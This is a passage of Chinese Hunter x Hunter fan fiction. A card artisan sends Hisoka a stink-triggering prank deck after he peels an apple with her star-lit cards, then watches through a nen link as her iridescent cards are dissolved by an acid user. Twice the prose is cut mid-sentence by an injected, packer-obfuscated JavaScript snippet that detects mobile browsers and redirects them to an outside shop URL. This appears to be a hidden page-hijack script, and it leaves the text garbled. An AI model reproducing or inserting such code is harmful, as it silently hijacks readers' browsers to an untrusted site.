不行,发丝的怨念太强。需要先净化,但净化过头又会损失特性。也许可以用“频段转换层”把怨念转换成…… “专注。” 她突然停下脚步。 雾气在她身边缓缓流动。远处,黄泉之门的轮廓在晨光中逐渐清晰。 迦勒的嘴角,不自觉地勾起一个细微的、属于发现者的弧度。 “如果把怨念转换成‘对胜利的执着’……那不就是西索最需要的属性吗?” 她转身,最后看了一眼揍敌客家那扇巨大的门。 然后迈步,走进渐渐散去的晨雾中。 4. 星夜系列的苹果灾难 七天后,友客鑫,凌晨两点十四分。 迦勒工作室里唯一的光源是工作台边缘那盏长臂台灯。灯罩被压得很低,在黑色曜石台面上投下一圈暖黄色的光晕。光圈中央,五十四张扑克牌呈扇形摊开,每一张都在黑暗中散发着微弱的星光。 “星夜系列”完成了。 迦勒摘掉护目镜,向后靠在椅背上,长时间保持一个姿势让她颈椎发出轻微的“咔”声。她转动脖子,视线落在那些牌上,疲惫的脸上浮现出满意的神色。 这个系列她构思了三个月,真正动手制作花了两周。基底用的是从流星街黑市淘来的“陨星碎屑”——不是普通的陨铁,而是真正来自外层空间的特殊合金,在念力场中会与使用者的“气”产生共振。涂料里混入了安多尼拔深海打捞上来的“夜光藻提取物”,那种藻类在完全黑暗中能持续发光四十八小时。 但最核心的设计是牌面的“负空间”工艺。 正常扑克牌的图案是用颜料画上去的。而星夜系列恰恰相反——牌面上的数字和花色是“留白”的。当周围光线充足时,它们看起来就像是普通的深蓝色牌;一旦进入黑暗,牌体本身发出的微光会照亮那些留白区域,在深蓝背景上浮现出银白色的银河漩涡图案。 每张牌的图案都不同。黑桃A是猎户座,红心K是仙女座,方块J是北斗七星……五十四张牌,五十四片星空。 迦勒随手抽起一张黑桃K,关掉台灯。 工作室陷入绝对的黑暗。 三秒钟后,牌面开始发光。先是微弱如萤火,然后渐渐亮起——不是刺眼的光,而是那种柔和的、仿佛真的在凝视夜空的星光。牌面上的黑桃图案化作了天鹅座的轮廓,周围的深蓝色背景里,无数细碎的星点浮现,有些还在微微闪烁。 她看了五秒,然后重新开灯。 牌面的星光瞬间熄灭,变回一张普通的深蓝色扑克。 “完美。”她轻声说。 就在这时,工作台上的加密通讯器发出震动。 迦勒皱眉。这个时间点…… 她拿起通讯器,指纹解锁,屏幕上跳出一个加密视频文件的传输请求。发件人:魔术师(西索)。文件大小:87MB。标题:用户体验反馈~ 犹豫了一秒,她点击接收。 文件传输很快,五秒后下载完成。迦勒点开视频—— 画面一开始是晃动的,镜头对着天花板。那看起来像是个酒店房间,装修普通。然后镜头翻转,西索的脸出现在屏幕中央。 他看起来刚洗完澡,头发湿漉漉的,脸上没有油彩——这是迦勒第一次看见他没化妆的样子。苍白的皮肤,狭长的眼睛,五官其实很……精致。如果没有那种时刻挂在脸上的、似笑非笑的诡异表情的话。 “晚上好呀,供应商小姐~”视频里的西索挥挥手,背景音里有哗哗的水声,“你寄来的‘星夜系列’样品我收到啦。正好肚子饿,所以……” 镜头转向。 画面中央出现一张工作台——不是迦勒那种专业工作台,更像是酒店房间的书桌。桌上铺着白色的桌布,桌布中央,一张黑桃K被端正地摆放着。 牌面在手机屏幕微亮的光照下,反射出纯粹的深蓝色的光彩,上面的黑桃图案优雅而神秘。 西索的手入镜。那只修长、苍白、指节分明的手拿起了黑桃K。他用指尖轻轻摩挲牌面,发出赞叹的声音:“手感真棒呢~比之前的系列都要滑顺。而且这个颜色……我很喜欢?” 迦勒的嘴角不自觉地上扬了一点。毕竟这是来自最挑剔客户的正面反馈。 然后,西索的手移开了。 再入镜时,他手里拿着一个苹果。 红彤彤的,看起来很新鲜。他用拇指和食指捏着苹果的蒂,将它举到镜头前晃了晃:“看,多漂亮的苹果~?” 迦勒的眉头开始皱起。 不详的预感。 视频里的西索将苹果放在桌布上。然后,他用左手按住苹果顶端,右手—— 拿起了那张黑桃K。 迦勒的瞳孔剧烈收缩。 她看见西索用食指和中指夹住牌,手腕轻轻一抖。牌刃在空中划出一道深蓝色的弧线,然后精准地切入苹果顶端的果皮。 第一刀。 果皮被削起一道完美的螺旋。在视频的灯光下,被削起的果皮内侧泛着……星光? 迦勒凑近屏幕。 第二刀。第三刀。 西索的动作优雅得像在进行某种仪式。他的手腕稳定,手指灵活,每一刀切入的深度、角度都精准到毫米。那张黑桃K在他手中仿佛有了生命,深蓝色的牌刃在苹果表面游走,削起的果皮薄如蝉翼,连绵不断。 最诡异的是——随着削皮的进行,苹果皮内侧开始发光。 不是反光,是真正的、幽幽的星光。因为苹果皮极薄,光线透了过来,那些星星点点的微光在螺旋状的果皮上流淌,像是把银河卷成了苹果的形状。 “夜间作业照明效果真的不错哦~”视频里传来西索带着笑意的画外音,“你看,完全不用开灯呢?” 他削完了。 一整条完整的、螺旋状的苹果皮垂在桌边,内侧的星光在昏暗的房间里流淌。西索用指尖捏起那条果皮,对着镜头晃了晃——果皮上的星光随着晃动而明灭,美得惊心动魄。 然后他咬了一口削好的苹果。 “咔嚓。” 清脆的咀嚼声通过麦克风传来。 画面定格在西索鼓着腮帮子咀嚼的样子,他的眼睛弯成月牙,对着镜头比了个“V”字手势。 视频结束。 工作室里一片死寂。 迦勒握着通讯器,一动不动。 她的瞳孔完全扩张,暗金色的虹膜中,流光以失控的速度疯狂流转,像是熔炉里沸腾的金水。她的呼吸停滞了整整五秒,然后—— “哈。” 一声短促的、没有音调的笑声从她喉咙里挤出来。 她放下通讯器,双手撑在工作台边缘,低头。 肩膀开始颤抖。 不是哭泣的颤抖,而是某种……压抑到极致的、即将爆发的什么东西在体内冲撞。她的指尖用力到发白,指甲深深嵌进曜石台面——好在台面足够坚硬,只留下了几道浅浅的划痕。 十秒。 二十秒。 她终于抬起头。 脸上没有任何表情。没有愤怒,没有崩溃,甚至没有失望。只是一片绝对的、真空般的平静。但那双眼睛——那双完全被金色流光占据的眼睛——亮得吓人。 她缓缓直起身,从工作台抽屉里拿出一张全新的实验记录卡。用笔,在卡面最上方写下标题: 「报复方案·星夜系列特别版」 笔尖在纸面滑动,发出沙沙的轻响。迦勒的指尖无意识地在空中虚划——不是在构思卡牌设计,而是在计算……惩罚的剂量。 第一阶段:分析。 “他用的是黑桃K……天鹅座。”她低声自语,“牌刃切入苹果时的角度显示,他灌注了‘凝’来强化锋利度……但控制了力道,没有伤到牌体本身。这说明……” 她的笔停顿了一下。 “他其实很珍惜这张牌。”迦勒的嘴角扯出一个没有笑意的弧度,“只是表达珍惜的方式……比较特别。” 第二阶段:情绪平复。 她站起身,走到工作室角落的小冰箱前,从里面拿出一瓶冰水。拧开,仰头喝了一大口。冰凉的水滑过喉咙,让她沸腾的念力稍微冷静了一些。 然后她回到工作台,打开另一个上锁的抽屉——那里存放着她的“特殊材料”。 第三阶段:设计反击。 “直接损坏牌体不可取,会影响我的品牌声誉。”迦勒戴上新的无菌手套,开始从抽屉里取出一个个小玻璃瓶,“物理惩罚对他无效,痛觉阈值太高。精神攻击……风险太大,可能引发不可控后果。” 她拿起一个标着“记忆水晶粉末”的瓶子,晃了晃,又放下。 “需要一种……让他印象深刻,但不会造成永久伤害的方式。”她的眼睛扫过工作台上一排排材料,“最好是能和他‘玩’起来的方式。” 然后她的视线停在一个不起眼的棕色玻璃瓶上。 瓶身标签写着:「永恒臭气念粉(实验版)·未完成」 迦勒拿起那个瓶子,对着灯光观察。瓶内的粉末是纯白色的,看起来人畜无害。 “成分 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瞬间,一股难以形容的恶臭弥漫开来。 那是混合了腐烂榴莲、臭鸡蛋、汗渍的袜子、以及某种说不上来的化学气味的复合型恶臭。迦勒早有准备,戴上了防毒面具,但即使如此,她还是感觉眼睛有点发酸。 “浓度需要调整……”她嘀咕着,往涂料里又加了几滴中和剂,“不能太强,否则他可能会直接扔掉整副牌。要控制在‘让人难受但还能忍受’的范围内……” 她重新调整配方,测试,再调整。 凌晨五点,配方终于确定。 迦勒开始批量加工。五十四张牌,每张牌背的涂层底层都被注入了那个微小的臭气触发回路。她做得很仔细,确保回路完全隐形,即使是用念力探测,如果不特别针对性地检查,也很难发现。 制作过程中,她哼起了欢快的歌。 她的左眼角下,那颗微小的“红心”图案在台灯光下泛着暗红色的光——今天早上她特意画了这个图案,代表“愉悦的工作日”。 早晨七点,所有牌处理完毕。 “接下来,注入我的念。”迦勒在这套牌中留下念标。这是迦勒的念能力之一——“特殊牌”,将手工牌注入念后赋予“生命”,可以让迦勒和牌拥有一次短暂的感知共享。她并不经常用这个能力,但偶尔也会想知道自己的作品被如何对待。 迦勒将它们装进特制的牌盒——那个牌盒也是她亲手制作的,黑色皮质,表面用银线绣着扑克花纹。她在牌盒内侧贴了一张小卡片,用她最工整的字体写着: 「特别版·持久芬芳系列」 「特性:念力激活式香味释放」 「建议在通风良好处使用」 「祝您使用愉快~」 写完最后一个字,她盯着那个波浪号看了两秒,然后加了一个笑脸符号:) 包装,封盒,贴上快递标签。 早上八点,快递员准时上门取件。 “加急,保价,需要签收回执。”迦勒将包裹递给快递员,同时递过去一张大面额的小费,“今天之内必须送到。” “明白,女士。”快递员接过包裹和小费,快步离开。 迦勒关上门,回到工作室。 她走到窗边,看着清晨的阳光洒进房间。工作台上还散落着昨晚的制作痕迹:空了的材料瓶、用过的画笔、沾着荧光涂料的战术手套。 她的通讯器又震动了一下。 点开,是西索发来的新消息: 「苹果很好吃哦~谢谢款待?」 迦勒盯着那条消息,看了五秒。 然后她回复: 「新牌已寄出,预计今天送达。希望您喜欢这次的‘特别设计’。」 点击发送。 她放下通讯器,走到咖啡机旁,给自己冲了一杯浓缩咖啡。端着杯子回到窗边,她望着窗外渐渐苏醒的城市,轻轻抿了一口。 苦涩的咖啡香在口中弥漫。 迦勒的嘴角,缓缓勾起一个真实的、带着期待的微笑。 “现在,”她轻声说,“该等反馈了。” 5. 臭气彩蛋和反馈 晚上九点四十三分,天空竞技场200层的私人浴室里水汽氤氲。 西索刚结束一场“热身赛”——对手是个强化系的新人,念能力是让拳头变得像钢铁一样硬。没什么创意,但抗揍能力不错,撑了十七分钟才倒下。西索现在心情很好,好到愿意花时间泡个澡,而不是直接冲掉血迹就睡觉。 浴缸是日式桧木材质,水温调到四十二度,刚好烫得皮肤微微发红。他靠在浴缸边缘,湿漉漉的金发贴在苍白的脖颈上,脸上还残留着战斗后的亢奋红晕。水面上飘着几个防水的小黄鸭——不知道是哪任房客留下的,他觉得有趣就留着了。 “今天的小苹果虽然青涩,但很有活力呢~”他对着小黄鸭自言自语,手指在水面划出一道涟漪,“下次也许可以多玩一会儿?” 然后他想起了什么,从浴缸边缘摸过来一个黑色皮质的牌盒。 迦勒寄来的“持久芬芳系列”。 盒子的质感很好,皮面光滑,银线刺绣的扑克花纹在浴室暖光下闪着微光。西索用湿漉漉的手指打开盒盖,里面整整齐齐码着五十四张牌。牌背是深红色的虹彩图案,随着角度变化会折射出不同颜色。 他抽出一张红心A。 牌面在灯光下很正常,甚至可以说很漂亮——虹彩涂层让红色显得格外鲜艳,边缘还有细密的金线装饰。西索用拇指摩挲牌面,感受纸张的纹理。 “手感比星夜系列还要好……”他眯起眼睛,“供应商小姐果然在进步呢?” 然后,几乎是出于本能,他开始向牌中灌注念力。 这是他测试新牌的习惯:先注入少量念,感受牌体对念的“接纳度”——好的念具会像海绵吸水一样吸收使用者的念,差的则会排斥或者漏气。 这次,牌的反应很……奇特。 当他的念力接触到牌背的瞬间,西索感觉到牌体内部某个微小的结构被触发了。不是排斥,也不是吸收,而像是—— 砰。 一股气体从牌背释放出来。 无色,看不见,但气味…… 西索的鼻子抽动了一下。 第一秒,他以为是错觉。 第二秒,他确定不是。 第三秒,那股味道完全炸开了。 那是怎样一种气味啊——腐烂的榴莲在盛夏暴晒三天后的酸臭,混合着臭鸡蛋被踩爆的硫磺味,底下还垫着一层像是汗渍袜子发酵后的馊味。更绝的是,这些味道不是分层的,而是完美地融合在一起,形成了一种全新的、足以载入史册的复合型恶臭。 西索僵住了。 他保持着举牌的姿势,泡在热水里,眼睛瞪得圆圆的,像是第一次看见魔术的小孩。 然后—— “噗……哈哈哈哈哈哈!!!” 爆笑声在浴室里炸开,震得水面的小黄鸭都在晃。 西索笑得整个人滑进浴缸,呛了一口水,又挣扎着坐起来继续笑。他笑得眼泪都出来了——真的眼泪,不是因为臭气熏的(虽然也有这个因素),而是纯粹觉得太特么有趣了。 “她真的做了……她居然真的做了……哈哈哈哈?!!!” 他一边笑,一边继续往牌里灌注念力。 更多的臭气释放出来。 浴室很快变成了毒气室。水汽混合着恶臭,形成了一种黏稠的、仿佛有实体的空气。西索的笑声在毒气中变成了咳嗽,又变成更疯狂的大笑。 “不行……这个浓度……哈哈……有点太强了……”他抹着笑出来的眼泪,但手上的动作没停,反而抽出了第二张牌,第三张牌—— 砰砰砰! 连锁反应。五十四张牌,每一张的臭气触发回路都被激活了。 现在的浴室,已经不适合人类生存了。如果有普通人进来,大概会当场晕厥。但西索不是普通人,他甚至觉得……很享受? “这是在报复我削苹果呢~”他晃着手中的牌,臭气像烟雾一样从牌面飘出,“真是……可爱的报复方式?” 他突发奇想,把几张牌竖着叠在一起,用念力固定,在浴缸边缘堆成了一座小小的牌塔。臭气从塔的每一层渗出,在水汽中形成诡异的烟柱。 西索盯着那座牌塔看了几秒,然后摸过放在浴缸边的手机。 自拍模式,咔嚓。 照片里的他泡在浴缸里,头发湿漉漉的,脸因为笑和臭气的双重刺激而泛红,眼睛还带着笑出来的泪花。他一只手举着手机让那座臭气牌塔出现在画面中,另一只手比了个“V”字手势。 背景是氤氲的、泛黄的水汽——臭气已经浓到肉眼可见了。 他给照片加了滤镜,让画面看起来更“凄惨”一些,然后配上文字: 「供应商小姐的‘芬芳系列’效果拔群~洗澡时也能玩呢?」 「PS:建议下次可以加一点薄荷味,提神醒脑效果会更棒哦?」 点击,发送。 然后他放下手机,整个人沉进浴缸,只露出鼻子以上的部分。 恶臭的水汽笼罩着他。 西索闭上眼睛,嘴角的弧度越来越大。 “真是……越来越喜欢和她玩了?” 【友客鑫工作室·同一时间】 晚上九点四十五分,迦勒正在给一批新到的“泪晶矿”粉末做干燥处理。 她的工作台上摊开着十七个培养皿,每个皿里都盛着浅蓝色的结晶粉末。她戴着护目镜和无菌手套,用特制的玻璃棒轻轻搅拌,同时用念力监测粉末内部的湿度变化。 一切都很正常,直到—— 嗡。 迦勒的动作停住了。 那是她混在“持久芬芳系列”里的那张“特殊牌”——注入了她念力的标记牌,可以和她在短时间内建立微弱的感知链接。链接很弱,只能传递模糊的情绪和画面碎片,而且一张牌只能用一次。 但现在,它被触发了。 迦勒放下玻璃棒,走到工作台另一侧坐下。她闭上眼睛,在意识中激活了那个一次性的链接。 瞬间,画面碎片涌入脑海: ——水汽。很多水汽。浴室? ——笑声。疯狂的大笑。不是愤怒,是……开心? ——气味……等等,这个气味……哦,臭气生效了。 ——画面:一个人泡在浴缸里,搭着牌塔……是西索。 ——情绪:兴奋。愉悦。恶作剧得逞般的快乐。 迦勒睁开眼睛。 她盯着手中的牌,眉头皱成了一个结。 画面碎片正在迅速瓦解——一次性链接即将断开。在链接完全消失前,最后一股情绪涌了进来: 「好玩?」 然后链接断了。 迦勒站在原地,沉默了很久。 她的表情从困惑,到难以置信,再到一种深深的、职业性的挫败感。 “他居然……觉得好玩?”她低声自语,像是无法理解这个宇宙的基本法则,“我在牌里加了足以熏晕一头大象的臭气,他觉得……好玩?” 她走回工作台,从抽屉里拿出西索的客户档案。翻开,在最新一页的记录上,她原本预计要写的是: 「报复成功。使用者表现出明显的厌恶、愤怒或至少是困扰情绪。」 但现在,她握着笔,笔尖悬在纸面上,迟迟落不下去。 最终,她写下: 「日期:X月X日」 「事件:‘持久芬芳系列’首次使用」 「观察结果:臭气触发成功,浓度达到设计标准(经牌内传感器确认)。但使用者情绪反馈与预期严重不符。」 「具体偏差:预期负面情绪(愤怒/厌恶/困扰)强度9/10,实际观测正面情绪(愉悦/兴奋)强度8/10。」 「偏差率:87%」 「备注:使用者可能在表演。但链接传递的是直接情绪,表演无法伪装。」 她停顿了一下,然后在下面另起一行,用红笔写道: 【客户特性更新:】 【1.痛觉阈值极高(已知)】 【2.羞耻感/不适感阈值同样异常高】 【3.对非常规刺激(包括负面刺激)可能产生正向情绪反应】 【4.传统惩罚策略(物理/精神/感官)效果存疑,需重新评估】 写完这些,迦勒靠在椅背上,盯着天花板。 工作台上的通讯器震动了。 她拿起来,是西索发来的消息。点开,那张自拍照跳了出来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17046698|194751||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 照片里的西索泡在浴缸里,手指后立着臭气牌塔,眼睛红红的像是哭了,但嘴角的弧度暴露了真相——他笑得像个偷到糖的孩子。 附言:「供应商小姐的‘芬芳系列’效果拔群~洗澡时也能玩呢?」 「PS:建议下次可以加一点薄荷味,提神醒脑效果会更棒哦?」 迦勒盯着那张照片看了十秒。 然后她放大了看。 再放大。 她的目光在西索脸上游移:湿漉漉的头发,泛红的脸颊,笑出来的泪花,还有那种毫不掩饰的、纯粹的快乐。 “他在享受。”迦勒喃喃道,“他真的在享受。” 一种复杂的感觉涌上来。 一方面,她的报复计划失败了——西索不仅没生气,反而玩得很开心。这让她作为商人和艺术家的尊严受到了某种程度的打击。 另一方面…… 迦勒的嘴角,不自觉地,非常轻微地,向上扯了一下。 她想起了西索在揍敌客偏厅里说的话:「你比我想的有意思多了呢,供应商小姐?」 现在她大概能理解那种感觉了。 因为此刻,她看着那张自拍,看着浴缸里那个被臭气包围却笑个不停的男人,心里想的不是“这个疯子”,而是—— “这个人……确实有意思。” 她放下通讯器,从工作台抽屉里拿出一张全新的设计草稿纸。 笔尖悬停。 然后落下。 标题:「下一次‘特别设计’构思」 她在纸上画了一个简单的流程图: 「触发条件:当牌被用来进行‘非战斗用途’(如削水果、开瓶盖、当书签等)时激活」 「惩罚机制:不是臭气,而是……」 她停顿了一下,笔尖在纸面上轻轻敲打。 「……让牌发出儿歌声?不行,太幼稚。」 「……让牌黏在手上?有风险,可能影响战斗。」 「……让牌变成荧光粉色?这个可能……」 迦勒的指尖无意识地在空中虚划,暗金色的虹膜中流光又开始流转。她在思考,在计算,在构思一种既能让西索“印象深刻”,又不会真的伤害他(毕竟他还是付费客户)的新玩法。 然后她的动作停住了。 因为她意识到一件事:她正在认真思考如何“捉弄”一个危险等级SSS的念能力者。而且……她很享受这个过程。 迦勒放下笔,舔了舔下唇。 “或许,”她轻声对自己说,“可以设计一种‘惩罚转盘’机制……” “每张牌里内置一个微型念力转盘,触发后随机释放不同的效果:臭气、闪光、黏性、变色、震动、甚至……短暂的念力干扰。” “让他永远猜不到下一张牌会是什么‘惊喜’。” 她越想越觉得可行,开始在草稿纸上快速画起结构图。笔尖在纸面滑动,发出急促的沙沙声。 工作台上的通讯器又震了一下。 还是西索: 「对了,账单记得发给我哦~虽然被熏得很惨,但牌的质量还是一如既往地棒呢?」 迦勒看着那条消息,沉默了两秒。 然后她回复: 「账单明天发。另外,关于你提议的‘薄荷味’——技术上可行,但需要额外收费。每张牌加收5万戒尼,全套五十四张就是270万。需要加吗?」 三十秒后,回复来了: 「加!全部都要薄荷味的!钱不是问题?」 迦勒盯着那句话,终于没忍住,笑出了声。 那笑声很轻,但在安静的工作室里格外清晰。她摇摇头,在客户档案的备注栏里,又加了一行字: 【新增备注:该客户似乎将‘定制惩罚’视为增值服务,并愿意为此付费。可考虑开发‘惩罚定制’产品线,作为高端附加选项。】 写完,她合上档案,看向窗外。 友客鑫的夜景依然璀璨,无数灯光在远处闪烁,像一副永远洗不完的牌。 迦勒端起已经凉了的咖啡,抿了一口。 苦味在舌尖蔓延,但她嘴角的弧度却一直没下去。 “好吧,”她对自己说,“游戏继续。” 6. 虹彩之泪 猎人协会总部,三层展厅,“第七届念材料年度博览会”正在进行中。 展厅里人声鼎沸。穿着各色猎人袍、工作服、甚至是奇装异服的人们在展位间穿梭,空气中混合着各种材料的特殊气味——有些是植物清香,有些是矿物粉尘,还有些是……难以形容的生化制品味道。 迦勒今天穿了一身浅灰色的定制西装,内搭黑色丝质衬衫。她的深栗色长发在脑后挽成简洁的发髻,只用一枚“方块K”造型的发簪固定。 此刻,她正站在“深海材料专区”的7号展位前。展位的主人是一位老猎人,专门从事深海打捞。展台上陈列着十几个透明水箱,里面浸泡着各种从千米海底打捞上来的念生物样本。 “就是这个。”迦勒指着其中一个水箱。 水箱里漂浮着一枚贝壳——准确地说,是“虹彩巨贝”的碎片。碎片大约巴掌大小,表面覆盖着天然的彩虹色光泽,随着水箱内的水流缓缓转动,折射出迷幻的光晕。 “原生虹彩层厚度0.3毫米,保存完整度92%。”老猎人戴着厚厚的老花镜,用放大镜仔细检查,“这是我今年捞到的最好的一片。你也知道,这种贝活着的时候会主动分泌腐蚀液保护外壳,死后半小时内虹彩层就会开始剥落。能在它死前完整取下来的……十年也遇不到几次。” 迦勒点头。她知道行情。虹彩巨贝的壳是顶级的念力折射材料,用在她正在设计的“幻光系列”里再合适不过。但这东西太稀有,价格也高得离谱。 “报价。”她简洁地说。 “一千八百万戒尼。”老猎人伸出三根手指,“不还价。已经有三个人在排队了,其中一个是卡金帝国的宫廷匠师。” 迦勒的虹膜深处开始流转金色流光。她在计算——不是计算价格是否合理,而是计算这片材料能用多久,能做出多少张牌,每张牌的预期售价…… “我要了。”她打开随身携带的加密支付终端,“现在转账。” 老猎人愣了一下,显然没想到对方这么干脆。但很快他就恢复了专业态度:“明智的选择。我帮你包装——” 话音未落。 迦勒的身体突然僵住了。 那是一种从脊椎深处升起的、毫无预兆的战栗。——她的念,她分散在外界的念,其中一部分……碎了。传回的画面碎片等待激活,她的太阳穴突突直跳,像是念力层面的“警报”。 她混在西索那批“虹彩练习牌”里的“特殊牌”,其中的念标已经失去活性,它唯一的作用就是在牌体被彻底摧毁时,向她的主人回传最后几秒的画面。 而现在,它触发了。 “女士?你没事吧?”老猎人疑惑地看着她突然苍白的脸色。 迦勒深吸一口气,强迫自己冷静下来。她从钱包里抽出一张猎人协会通用的预付支票,飞快地签上金额和自己的执照编号。 “钱在这里。材料帮我留着,我半小时后回来取。” 不等老猎人回应,她已经转身快步离开展位,几乎是跑着冲向展厅侧门的洗手间。 女洗手间里空无一人。迦勒冲进最里面的隔间,反锁上门。她背靠着冰冷的隔板,闭上眼睛,让自己的头脑恢复镇定。 然后激活了那个一次性的、最后的链接。 瞬间—— 画面涌入。 首先是一大片刺眼的彩色光芒。不是温和的虹彩,而是狂暴的、沸腾的、像是把整条彩虹扔进搅拌机里打碎后再泼洒出来的颜色。 然后她“看”清楚了。 战场。某个废弃工厂的内部。钢筋结构的天花板,水泥地面布满裂缝,墙上喷满了乱七八糟的涂鸦。 西索站在画面中央——或者说,“虹彩牌”的视角中央。他背对着镜头(牌),肩膀微微起伏,呼吸有些急促。他的小丑装破了几个口子,右臂有一道深可见骨的伤口,鲜血正顺着苍白的手指滴落。 但他没管伤口。他在笑。 那种迦勒已经熟悉的、癫狂而愉悦的笑声通过链接传来:“不错嘛~这个能力……很有意思呢?” 对手入镜。 那是一个穿着防化服的男人——或者说,曾经是男人。现在他的身体已经变形,皮肤表面覆盖着不断流动的彩色黏液。那些黏液像是活物,从他身体的每一个毛孔渗出,滴落在地上时会腐蚀水泥,发出“嘶嘶”的声音。 “腐蚀性念能力……特质系?”迦勒在意识中快速分析,“黏液的主要成分是……强酸?不,还有生物毒素……” 她看到西索动了。 他抽出了一张牌——虹彩系列的黑桃A。牌身在昏暗的工厂里反射着迷幻的光泽。西索的手指轻轻一抖,牌化作一道彩虹色的流光射向对手。 正常来说,这张牌的速度和锋利度足以切开钢板。 但这次不一样。 就在牌刃即将接触到对手身体的瞬间,那些彩色黏液突然暴起!它们像有生命一样扑向飞来的牌,不是阻挡,而是……吞噬。 迦勒“听”到了那个声音。 “嘶——嘶嘶——咔嚓……” 那是她的牌被腐蚀、溶解、最终结构崩溃的声音。不是一瞬间的破坏,而是缓慢的、折磨般的消解。她甚至能“感觉”到牌体内部每一层材料被酸液侵蚀的过程:最外层的虹彩涂层最先融化,然后是中间的强化纤维层,最后是核心的念力回路…… 疼痛传来。 不是物理疼痛,而是念的疼痛。那是她倾注在每一张牌里的、属于创造者的“念的呼吸”被强行扼杀时的哀鸣。迦勒的呼吸一滞,手指无意识地收紧,指甲深深掐进掌心。 但她没有断开链接。她强迫自己继续“看”下去。 画面里,西索又抽出了第二张牌,第三张牌……红心K,方块Q,梅花J…… 每一张都以同样的方式被黏液吞噬。彩虹色的光芒在黏液中挣扎、闪烁、最后熄灭。工厂的地面上开始积累一滩滩彩色的、冒着气泡的黏液残渣——那是她的牌在这个世界上留下的最后痕迹。 “117种……”迦勒在意识中喃喃,“我为那套牌设计了117种光线折射方案……每一张的角度、涂层厚度、念力导性都不同……” 而现在,它们正在以每秒一张的速度消失。 西索的反应。 他没有停止攻击。相反,他看起来更兴奋了。那张沾着血污的脸上,笑容越来越大,眼睛亮得吓人。 “这种溶解速度……是‘活性的酸’呢?”他一边躲闪着对手喷射过来的黏液,一边分析,“不是单纯的腐蚀,而是会主动寻找念力目标……有趣?” 他又抽出了一张牌——这次是鬼牌。那张牌在飞出前,他往里面灌注了更多的念。 牌在空中旋转,划出一道完美的螺旋轨迹。它避开了第一波黏液,擦着对手的肩膀飞过,在墙上反弹,又从另一个角度射向对手的后颈。 但没用。 黏液像是有预知能力一样,在牌即将命中的瞬间从皮肤表面涌出,再次包裹、吞噬。 “嘶——” 最后一张虹彩牌也化为了彩色黏液的一部分。 链接开始剧烈波动。画面开始破碎。迦勒知道,这是“特殊牌”也即将被摧毁的前兆。 在链接彻底断开前的最后一秒,她看到了最后的画面: 西索站在满地彩色黏液中央,浑身浴血,但笑容灿烂如朝阳。他对着已经看不清形状的对手,用那种近乎歌唱的语调说: “谢谢你……让我玩得很开心呢?” 然后—— 链接断开。 迦勒猛地睁开眼睛。 她的呼吸急促,额头渗出冷汗。虹膜中的金色流光失控般地疯狂闪烁,愤怒的念压正不受控制往外溢。 她低头,看着自己微微颤抖的手。 那只手刚才“感受”到了每一张牌被溶解时的痛苦。 “117种方案……”她重复着这句话,声音有些沙哑,“每一张我都调试过至少三次……黑桃A的虹彩角度是37度,红心K是42度,方块Q用了双层折射……” 她突然一拳砸在隔间门板上。 “砰!” 金属门板凹进去一小块。但她没感觉到疼痛——或者说,手上的疼痛远不及刚才那种念被扼杀的痛苦。 迦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17046699|194751||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 勒深吸一口气,再深吸一口。 强迫自己冷静。 她打开隔间门,走到洗手台前,拧开水龙头。冰冷的水冲刷过她的手——那只刚才颤抖的手。她看着镜中的自己:脸色苍白,额前发丝因为汗水有些粘腻,但眼神已经恢复了某种程度的清明。 “材料展会还没结束。”她对自己说,“虹彩贝壳还在等我。” 她整理了一下西装和发髻,补了一点粉遮盖苍白的脸色,重新涂好口红。然后她走出洗手间,回到展厅。 老猎人还在展位前等她。 “您回来了。”他递过一个特制的保险箱,“虹彩具贝已经封装好了。需要我讲解保存注意事项吗?” “不用。”迦勒接过箱子,声音恢复了平时的平稳,“我知道怎么处理。” 她支付了余款,提着箱子离开展厅。 回工作室的路上,她一句话也没说。 --- 三天后。 迦勒工作室的快递区,又多了一个包裹。 这次的包裹很轻,用的是透明的防腐蚀密封袋。袋子里没有硬物,只有一团……彩色的、半凝固的黏液状物质。 黏液呈现出诡异的彩虹色,但那种颜色不是美丽的,而是病态的、浑浊的。它在袋子里缓慢流动,表面不时冒出几个气泡,然后破裂,释放出淡淡的酸味。 包裹里还有一张纸条。普通的便利贴,字迹是熟悉的张扬风格: 「它们死得很绚烂哦?」 没有落款,但也不需要。 迦勒拿起那个密封袋,走到工作台前。她打开专业照明灯,将袋子放在放大镜下。 她看了很久。 看那些黏液里悬浮的、几乎看不见的纸纤维碎片。看虹彩涂层融化后形成的、像是油污一样的彩色薄膜。看那些被酸液腐蚀得面目全非的、曾经是她精心设计的念力回路。 三分钟。 整整三分钟,她一动不动,只是看着。 然后她放下袋子,从抽屉里拿出一张全新的设计图纸。 笔尖落下。 标题:「共生牌·概念设计」 她在纸上快速画出一个结构图:牌体不再是简单的层叠结构,而是被分成了三个核心部分—— 1.感知层:用念导体材料制作,能与使用者的念产生深度互通,实时反馈牌体的状态。 2.记忆层:记录牌体经历的每一次冲击、每一次损伤、甚至是……每一次死亡。 3.回传层:在牌体被彻底摧毁前,将最后的数据(画面、声音、触感)传回给制作者。 她在图纸边缘写下设计理念: 「如果牌是我的延伸,那它受伤时,我应该能感觉到。」 「如果牌要死去,那至少……让我看到它最后的模样。」 